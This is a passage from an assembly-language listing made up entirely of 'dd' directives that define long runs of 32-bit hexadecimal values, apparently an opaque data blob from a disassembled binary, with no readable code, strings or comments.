		dd 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh, 20614BECh
		dd 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h, 6240F8Bh
		dd 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h, 8A998100h
		dd 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch, 25F74Ch
		dd 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh, 0B72D8800h
		dd 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h, 48080400h
		dd 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah,	0EB851200h
		dd 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h,	144642A4h
		dd 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch, 0B642039Ch
		dd 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h,	39B467E3h
		dd 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh,	45DD2609h
		dd 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh,	0DA097540h
		dd 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h, 0B5A81221h
		dd 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h, 49BAFFh
		dd 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h,	47C589h
		dd 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h, 0FE88002Bh
		dd 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h, 306614A9h
		dd 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h, 1E760314h
		dd 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh, 0B05259DCh
		dd 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h,	1602546h
		dd 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h,	16344828h
		dd 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch, 13C93840h
		dd 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh,	1220E002h
		dd 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h, 5AC07473h
		dd 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh, 5A588402h
		dd 0E046A00Dh, 23F1FDh,	76EB3B32h, 0C409FAEh, 101DC3ECh
		dd 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch,	98BE742Ch
		dd 0E2F5980Dh, 0C7493h,	0C3401D16h, 0E00355A8h,	840F9E00h
		dd 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h, 7208F600h
		dd 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h,	1EE4957Dh
		dd 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h,	0D45BCFF0h
		dd 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h, 0A51D0075h
		dd 74349119h, 3B002B85h, 47763196h, 0CB92Ch, 97AF2F1h
		dd 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h, 83C6DAC3h
		dd 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh,	76193C00h
		dd 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h
		dd 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h, 0F73002B0h
		dd 71009735h, 88930839h, 2E03117h, 0EA1052Bh, 14409601h
		dd 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh, 0FA4CFD63h
		dd 930447B5h, 27F22000h, 21AF7819h, 1C080037h, 0E5365D8Ah
		dd 0C4005523h, 2D839040h, 6E9F18h, 8568A120h, 512C250Fh
		dd 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh
		dd 75078268h, 972CB815h, 9167AB30h, 96B438F3h, 3043D001h
		dd 0F4C54C16h, 6400EC7Eh
		dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
		dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h,	2CF0CC2h
		dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h,	0EB3FC618h
		dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
		dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h,	0B8010C6h
		dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h,	0E4CCA02Fh
		dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h
		dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch
		dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h
		dd 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh,	0EB003AF9h
		dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h
		dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h
		dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh,	33D0FCF3h
		dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h,	0F1844E1Bh
		dd 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh,	0B5FB0444h
		dd 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h
		dd 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah
		dd 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch
		dd 0BEE2418h, 1047AD4h,	0F8F5C7CDh, 0D8073A9Ch,	0C302E0E8h
		dd 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h,	0DF0394DBh
		dd 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh
		dd 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h
		dd 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h
		dd 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h,	0F70EC859h
		dd 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h
		dd 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h,	4A14AF7Ch
		dd 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h
		dd 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h,	576AF8CDh
		dd 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h
		dd 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h
		dd 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h
		dd 8800A495h, 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h
		dd 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h
		dd 11A7EEAh, 2B1864E5h,	30C3113Ch, 2330B9CFh, 0F4284214h
		dd 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h
		dd 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h
		dd 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh
		dd 0BA029482h, 279955E0h, 58C84200h, 601F5389h,	4FE91F3Ah
		dd 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h
		dd 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h,	94E21A11h
		dd 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h
		dd 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h
		dd 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h
		dd 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h
		dd 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h
		dd 527C4Ch, 12414B4h, 348504Ah,	4C425A06h, 84C37210h, 0B3EF54B0h
		dd 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h
		dd 96004022h, 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch
		dd 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h,	0E1F05800h
		dd 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h
		dd 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h
		dd 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h,	3440702h
		dd 7E08008h, 7E0038F8h,	2B6FA81Eh, 18D6BD0h, 0E633F525h
		dd 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h
		dd 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h
		dd 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh,	0D9340019h
		dd 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh
		dd 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh
		dd 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h,	283CFCD8h
		dd 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch,	20831D98h
		dd 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h
		dd 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh
		dd 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h
		dd 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh
		dd 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h
		dd 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h,	234E9C24h
		dd 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h
		dd 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h, 87C62A01h
		dd 52F13547h, 34978C00h, 90CC8523h, 13040018h, 27A83046h
		dd 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h
		dd 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h
		dd 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch
		dd 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h, 88506B90h
		dd 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch
		dd 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h
		dd 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh,	4518E869h
		dd 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h,	43290069h
		dd 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h
		dd 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h,	4CE9B640h
		dd 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h,	5DC0F28Bh
		dd 0D62F3010h, 9888A3E8h, 285138h, 42441453h, 0BB42302h
		dd 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h,	0C8982093h
		dd 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh,	95C05285h
		dd 721E1CDh, 1EB22FC2h,	82BA79h, 710D638h, 8478C337h, 43126CFCh
		dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
		dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
		dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
		dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
		dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h,	2BA09DC2h
		dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
		dd 7D04C55h, 6122E02Bh,	856DA39Dh, 0E2B5ADD0h, 700E1000h
		dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
		dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
		dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
		dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
		dd 993D143h, 27FAEF41h,	83488E82h, 1641A1E2h, 1BCEFC5Ch
		dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
		dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
		dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
		dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
		dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h,	97000185h
		dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
		dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
		dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h,	9AD8C400h
		dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h,	0C40D544h
		dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
		dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
		dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
		dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h
		dd 8D2A107h, 96044E00h,	9017A832h, 1F82EE10h, 82F7537Eh
		dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch
		dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh,	0D39100C2h
		dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h
		dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h
		dd 641545Ah, 7CFD5852h,	0A64ABE05h, 0FAFC3Fh, 11A7B4EBh
		dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h
		dd 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh
		dd 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh
		dd 3F97F51h, 85D53A97h,	0CB8238Ch, 0C800EACAh, 4A1FE97Dh
		dd 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch
		dd 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh,	528CDF2Ah
		dd 80D7143Ch, 8A2B5A3h,	58D59502h, 17BD71Fh, 7E2B3CCh
		dd 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h
		dd 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh
		dd 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h
		dd 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h
		dd 720C81Dh, 8D001913h,	1709403Ch, 0F2D73B43h, 0B7511081h
		dd 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch
		dd 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh,	8CC9D6h
		dd 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh
		dd 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h,	0A54AFFh
		dd 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h
		dd 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h,	0A4E218B8h
		dd 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h,	0D4D9F4D0h
		dd 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h
		dd 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h
		dd 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h
		dd 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h
		dd 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h,	7C8B020h
		dd 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h,	0A3C0FBECh
		dd 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h
		dd 2CFE2Eh, 0C4CCF988h,	0D613080Dh, 953B9D01h, 0F234675Ch
		dd 4E0360h, 0CEA71FDBh,	85719C1Dh, 0BB8DE805h, 98063CCAh
		dd 3228025h, 776E2713h,	0A6C8E802h, 3300E90Ch, 0BE58C95Bh
		dd 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh,	0DB4AF1ACh
		dd 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh,	8233FDCh
		dd 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh,	81086809h
		dd 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h
		dd 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h
		dd 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h
		dd 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h
		dd 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h
		dd 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h,	712F374Dh
		dd 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h
		dd 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h,	68485B8Ch
		dd 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h,	298C47E9h
		dd 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h
		dd 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch
		dd 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh
		dd 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h,	3CE8C23Eh
		dd 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h
		dd 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h
		dd 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h
		dd 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h
		dd 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h
		dd 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h,	6E75ACEBh
		dd 0FB4ED472h, 29B330h,	981CB2E2h, 5D1EE933h, 4B6EAD01h
		dd 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h,	11FF5AADh
		dd 9088D496h, 0B17DEFh,	9D28467Eh, 0F2A4C010h, 0F5A1361Fh
		dd 38290B00h, 0EA42FFh,	19934ADh, 0A5E32858h, 0C200B9F6h
		dd 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h,	2002577Fh
		dd 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h
		dd 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h, 4216E427h
		dd 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h
		dd 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh,	1822E814h
		dd 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h
		dd 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h
		dd 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h,	901485E5h
		dd 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh
		dd 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch,	8025103Eh
		dd 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h, 0C6405662h
		dd 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h
		dd 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h
		dd 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh
		dd 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h,	6EEB60ABh
		dd 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h
		dd 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h
		dd 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh,	0B51C57F4h
		dd 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h
		dd 5B45DB05h, 5F09024h,	38507BF9h, 6226C3E9h, 3560B4DAh
		dd 2B059714h, 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh
		dd 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh
		dd 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah
		dd 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h
		dd 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh
		dd 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h
		dd 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h
		dd 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h
		dd 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h
		dd 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh
		dd 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch
		dd 9C0C7CDh, 6D1FED19h,	0C2006A3Ah, 4034B81Eh, 8D130F0Dh
		dd 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh,	0FAED8F0Ah
		dd 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h
		dd 0CE2970FEh, 167CD085h
		dd 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh
		dd 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h,	5108C1B7h
		dd 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h,	0A1FEAAE2h
		dd 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh,	0E7BA1E00h
		dd 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh,	0D9965E1h
		dd 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h,	521B102Ch
		dd 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h
		dd 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h
		dd 881438h, 0A58552C0h,	7C428CC5h, 7C6BF048h, 87E28024h
		dd 52F74400h, 922282Dh,	0F049B3A8h, 0E2B7B103h,	0C1A78CD0h
		dd 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h
		dd 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh
		dd 860904B6h, 806FD3E9h, 8F899906h, 1336F100h, 65E39327h
		dd 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h
		dd 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch
		dd 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h
		dd 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h
		dd 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h
		dd 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch,	8B0F4B3Eh
		dd 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh
		dd 5E34A787h, 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h
		dd 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h,	56080CC8h
		dd 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh
		dd 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h
		dd 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh,	3307E3A5h
		dd 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h, 47E4A542h
		dd 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h
		dd 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h
		dd 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
		dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
		dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
		dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
		dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh,	42CE4DB6h
		dd 3050CE6h, 1CDA0849h,	20D85B14h, 76002734h, 402D4258h
		dd 0C1F041h, 3905E624h,	5312EF97h, 0FB005DECh, 4945D733h
		dd 15C940Fh, 810834B0h,	0F025BFC6h, 24000901h, 28007F2h
		dd 1EE231h, 0D6D3E30Bh,	32A221E6h, 907C4A00h, 0B833F934h
		dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h,	28E7EDh
		dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
		dd 1F764D5h, 9A531EE7h,	6011F121h, 6A0434A5h, 543AA074h
		dd 0A18E4BC1h, 42F3C8h,	1E0FE368h, 84F2E8B2h, 38FA3000h
		dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h,	4A8F0700h
		dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h,	23002C90h
		dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h,	48C86B44h
		dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
		dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
		dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
		dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
		dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
		dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
		dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
		dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
		dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
		dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
		dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
		dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
		dd 48F7AC4h, 1DA032F1h,	1660C5E2h, 0ACCC431Dh, 81DE42CFh
		dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
		dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
		dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh,	7780BCAh
		dd 0F4870063h, 2C4ABAh,	886F883h, 0CA62C1D6h, 0FC957703h
		dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
		dd 2EA5C208h, 10CCBE0h,	10C46B1Dh, 14C83F02h, 0AA34C0F5h
		dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
		dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h,	0BB7374E0h
		dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
		dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
		dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
